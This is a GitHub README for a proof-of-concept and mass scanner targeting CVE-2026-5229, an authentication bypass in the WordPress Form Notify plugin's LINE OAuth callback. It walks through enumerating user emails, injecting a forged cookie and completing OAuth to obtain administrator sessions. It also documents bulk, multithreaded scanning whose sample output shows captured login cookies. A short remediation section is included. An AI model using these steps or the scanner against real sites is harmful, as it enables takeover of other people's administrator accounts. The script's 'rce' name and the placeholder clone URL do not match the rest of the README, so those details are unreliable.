xxconi/CVE-2026-5229
GitHub: xxconi/CVE-2026-5229
该项目是针对 WordPress Form Notify 插件高危身份验证绕过漏洞(CVE-2026-5229)的自动化扫描与 PoC 验证工具。
Stars: 0 | Forks: 0
# CVE-2026-5229
CVE-2026-5229:通过 LINE OAuth Callback 绕过 Form Notify 身份验证 (CVSS 9.8)
# Form Notify — LINE OAuth 身份验证绕过扫描器
## 📌 关于漏洞
Form Notify 是一款 WordPress 插件,负责在表单提交后发送通知,并提供 **LINE Login OAuth 2.0** 集成。
该漏洞存在于 LINE OAuth callback handler 中。用户完成 LINE 授权流程后,插件会**仅根据电子邮箱地址**来解析 WordPress 账号。它**从不检查**该 LINE 账号是否曾与该 WordPress 账号进行过绑定。
## 🔍 基于版本的漏洞说明表
| 版本 | 漏洞 | 攻击方式 |
|---|---|---|
| <= 1.1.08 | Cookie 注入 + 邮箱匹配 | Path A 或 Path B |
| 1.1.09 – 1.1.10 | 邮箱匹配(移除了 cookie) | Path B |
| 1.1.11+ | 已修复 | — |
## ⚙️ 技术分析
### 公开的 REST Endpoint
LINE OAuth callback endpoint 被完全公开注册:
```
// src/APIs/Line/Login/Route.php
register_rest_route(
'form-notify/v1',
'/callback',
array(
'methods' => 'GET',
'callback' => array( $this, 'get_api_callback' ),
'permission_callback' => function () {
return true; // kimlik doğrulama gerekmez
},
)
);
```
### 为什么 Nonce 无法提供保护?
WordPress nonce 是 **CSRF token**,而不是身份验证 token。任何访问者都可以从页面 HTML 中获取有效的 nonce 并通过验证检查。
### 通过邮箱解析账号 (1.1.10)
```
// Route.php — lines 115–116
$has_real_email = ! empty( $user->email );
$user_email = $has_real_email ? $user->email : $user_raw_id . '@line.com';
```
```
// User.php — is_member()
public function is_member( string $user_email, string $user_avatar ): bool {
$this->user = get_user_by( 'email', $user_email ); // sadece email ile arama
if ( ! is_wp_error( $this->user ) && $this->user ) {
return true; // linkage kontrolü YOK
}
return false;
}
```
如果找到匹配项,`login()` 方法会立即登录:
```
// User.php — login()
public function login( string $user_raw_id, string $user_email, ... ): void {
if ( ! is_user_logged_in() ) {
wp_clear_auth_cookie();
wp_set_current_user( $this->user->ID );
wp_set_auth_cookie( $this->user->ID, true, is_ssl() );
}
}
```
### Cookie 注入 (<= 1.1.08)
```
// Route.php (1.1.08) — lines 115–118
if ( isset( $_COOKIE['form_notify_line_email'] ) ) {
$line_email = sanitize_text_field(
wp_unslash( $_COOKIE['form_notify_line_email'] )
);
}
$user_email = ( $user->email ) ? $user->email : $line_email;
```
当 LINE 配置文件未返回邮箱时(`$user->email` 为空),插件会**直接读取浏览器 cookie**。攻击者可以完全控制此 cookie。
### State 验证弱点
```
$session_state = get_transient( 'form_notify_line_state_' . $state );
if ( empty( $session_state ) ) {
// Transient yoksa $_SESSION'a düşer
$session_state = sanitize_text_field(
wp_unslash( $_SESSION[ 'form_notify_line_state_' . $state ] )
);
set_transient( 'form_notify_line_state_' . $state, $state, 60 * 60 );
}
```
如果 Transient 已过期,则会启用 `$_SESSION` 回退机制。在大多数 WordPress 安装中,此时的 `$_SESSION` 是空的 → state 检查可以被绕过。
### 次要问题 — 邮箱 = 密码 (<= 1.1.10)
```
// sign_up() metodu
$userdata = array(
'user_pass' => $user_email, // şifre = email adresi
...
);
```
通过 LINE OAuth 流程创建的账号,其密码与邮箱地址相同。这允许进行直接的暴力破解或登录攻击。
## 🔴 为什么这是严重漏洞?
| 原因 | 说明 |
|---|---|
| **无需身份验证** | Callback endpoint 完全公开 |
| **无绑定检查** | 任何 LINE 账号皆可 |
| **Cookie 攻击** | <= 1.1.08 版本甚至不需要邮箱 |
| **包括管理员在内的所有账号** | `get_user_by('email')` 会影响所有人 |
| **State 验证薄弱** | CSRF 保护可被绕过 |
| **邮箱 = 密码** | 通过 OAuth 登录的账号极易受到简单的暴力破解 |
## 🧪 概念验证(手动)
**前置条件:**
- 已安装并激活 Form Notify 插件,且已配置 LINE Login
- LINE developer 账号和 LINE Login channel
- 目标站点上存在带有 LINE login 按钮的页面
### Path A — Cookie 注入 (<= 1.1.08)
#### 步骤 1 — 确定目标邮箱
```
TARGET="https://target.com"
# 从 WordPress REST API 获取用户列表
curl -s "$TARGET/wp-json/wp/v2/users" | python3 -m json.tool
# 或 author 页面
curl -s "$TARGET/?author=1" -I | grep Location
```
#### 步骤 2 — 设置 Cookie
打开浏览器开发者工具并粘贴到控制台:
```
document.cookie = "form_notify_line_email=admin@target.com; path=/";
```
或使用 curl:
```
curl -v -b 'form_notify_line_email=admin@target.com' \
"$TARGET/wp-json/form-notify/v1/login" 2>&1 | grep Location
```
#### 步骤 3 — 发起 LINE OAuth 流程
在浏览器中打开 Location header 中的 LINE OAuth URL。
#### 步骤 4 — 在不授予 Email Scope 的情况下完成
在 LINE 同意屏幕上**不要**授予 email 权限,或者使用没有邮箱的 LINE 账号。LINE 在没有 email 的情况下重定向到 callback。插件将回落至读取 cookie。
#### 步骤 5 — 验证会话
```
curl -s -b 'wordpress_logged_in_XXXX=...' \
"$TARGET/wp-json/wp/v2/users/me" | python3 -m json.tool
```
预期响应:
```
{
"id": 1,
"name": "admin",
"email": "admin@target.com",
"roles": ["administrator"]
}
```
### Path B — 邮箱匹配 (<= 1.1.10)
#### 步骤 1 — 确定目标邮箱
与 Path A 步骤 1 相同。
#### 步骤 2 — 创建 LINE 账号
在 `account.line.biz` 使用目标邮箱创建一个 LINE 账号。
*(需要邮箱验证 — 必须能够访问目标收件箱。)*
#### 步骤 3 — 发起 OAuth 流程
```
https://target.com/wp-json/form-notify/v1/login
```
#### 步骤 4 — 在授予 Email Scope 的情况下完成
在 LINE 同意屏幕上**授予** email 权限。
LINE 会将邮箱地址返回给 callback。
#### 步骤 5 — 自动身份验证
```
Plugin: is_member('admin@target.com')
→ get_user_by('email', 'admin@target.com')
→ Administrator bulundu
→ wp_set_auth_cookie(1)
→ Oturum açıldı ✓
```
## 🛠️ 自动化扫描器
### 安装
```
git clone https://github.com/kullanici/form-notify-bypass
cd form-notify-bypass
pip install -r requirements.txt
```
**requirements.txt**
```
requests
```
## 🚀 使用方法
### 单一目标 — 自动发现邮箱
```
python form_notify_rce.py -u http://hedef.com
```
### 使用特定邮箱进行 Path A (Cookie 注入)
```
python form_notify_rce.py -u http://hedef.com \
--email admin@hedef.com \
--path A
```
### Path B (邮箱匹配) — 手动完成
```
python form_notify_rce.py -u http://hedef.com \
--email admin@hedef.com \
--path B
```
### 同时执行两种 Path
```
python form_notify_rce.py -u http://hedef.com \
--email admin@hedef.com \
--path both
```
### 批量扫描
```
python form_notify_rce.py -l targets.txt -t 15 -o sonuclar.txt
```
### 使用代理 (Burp Suite)
```
python form_notify_rce.py -u http://hedef.com \
--proxy http://127.0.0.1:8080
```
## ⚙️ 参数
| 参数 | 简写 | 说明 | 默认值 |
|---|---|---|---|
| `--url` | `-u` | 单一目标 URL | — |
| `--list` | `-l` | 目标列表文件 | — |
| `--threads` | `-t` | 线程数 | `10` |
| `--output` | `-o` | 输出文件 | `auth_bypass.txt` |
| `--email` | — | 目标用户邮箱 | 自动发现 |
| `--path` | — | 攻击 path (A / B / both) | `both` |
| `--max-users` | — | 每个目标的最大用户数 | `5` |
| `--proxy` | — | 代理 URL | — |
| `--timeout` | — | 请求超时 (秒) | `10` |
## 📊 扫描器输出状态
| 状态 | 说明 |
|---|---|
| `★ AUTH OK` | 获取到会话 cookie — 完全自动化 |
| `★ WP-ADMIN` | 重定向到 `/wp-admin` |
| `~ MANUAL` | OAuth URL 已就绪,请在浏览器中手动完成 |
| `~ PATH B` | 使用 LINE 账号进行手动步骤 |
| `- NO_PLUGIN` | 未安装 Form Notify |
| `- NO_LINE` | LINE Login 未激活 |
| `~ NO_TARGET` | 未找到用户邮箱 |
| `~ UNREACH` | 无法访问目标 |
## 🖥️ 扫描器输出示例
```
[*] 3 hedef | Form Notify LINE OAuth Bypass | threads=10
[★ AUTH OK ] http://hedef1.com (Path A)
Hedef Email : admin@hedef1.com
Sürüm : 1.1.08
OAuth URL : https://access.line.me/oauth2/v2.1/authorize?...
Kullanıcı : admin roles=['administrator']
Cookie : {'wordpress_logged_in_abc123': 'admin|...'}
[~ MANUAL ] http://hedef2.com (Path A — Manuel tamamlama)
Hedef Email : editor@hedef2.com
Cookie Set : form_notify_line_email=editor@hedef2.com
OAuth URL : https://access.line.me/oauth2/v2.1/authorize?...
State : a1b2c3d4e5f6
[- NO_LINE ] http://hedef3.com (LINE Login aktif değil)
──────────────────────────────────────────────────────────────
DONE : 2
NO_LINE : 1
──────────────────────────────────────────────────────────────
Auth bypass → auth_bypass.txt
──────────────────────────────────────────────────────────────
```
## 🛡️ 防御 / 修复
| 措施 | 实施 |
|---|---|
| **插件更新** | 升级至 Form Notify 1.1.11+ 版本 |
| **LINE 绑定检查** | 将 LINE ID 记录到用户 meta 中,并在每次登录时进行验证 |
| **移除 Cookie 回退** | 移除对 `$_COOKIE['form_notify_line_email']` 的使用 |
| **State 验证** | 移除 Transient 回退,拒绝已过期的 state |
| **密码策略** | 不要在 `sign_up()` 中将邮箱用作密码 |
| **REST Endpoint 保护** | 对 callback endpoint 实施速率限制 |
安全账号解析示例:
```
// Güvensiz (mevcut)
$user = get_user_by( 'email', $line_email );
// Güvenli (önerilen)
$users = get_users( array(
'meta_key' => 'line_user_id',
'meta_value' => $line_user_id, // LINE ID ile eşleştir
) );
```
## 📁 文件结构
```
form-notify-bypass/
├── form_notify_rce.py # Ana tarayıcı
├── requirements.txt # Bağımlılıklar
└── README.md # Bu dosya
```
## ⚠️ 法律声明
## 📄 许可证
MIT 许可证 — 仅用于教育和研究目的。
## 🔗 参考
- [Wordfence 公告](https://www.wordfence.com/threat-intel/vulnerabilities/)
- [LINE Login OAuth 2.0 文档](https://developers.line.biz/en/docs/line-login/)
- [WordPress 插件目录 — Form Notify](https://wordpress.org/plugins/form-notify/)
- [CVSS 3.1 计算器](https://www.first.org/cvss/calculator/3.1)
- [OAuth 2.0 安全最佳实践 — RFC 9700](https://datatracker.ietf.org/doc/html/rfc9700)
标签:CISA项目, OAuth认证绕过, Web安全, WordPress插件, 加密, 安全漏洞, 漏洞扫描器, 蓝队分析, 逆向工具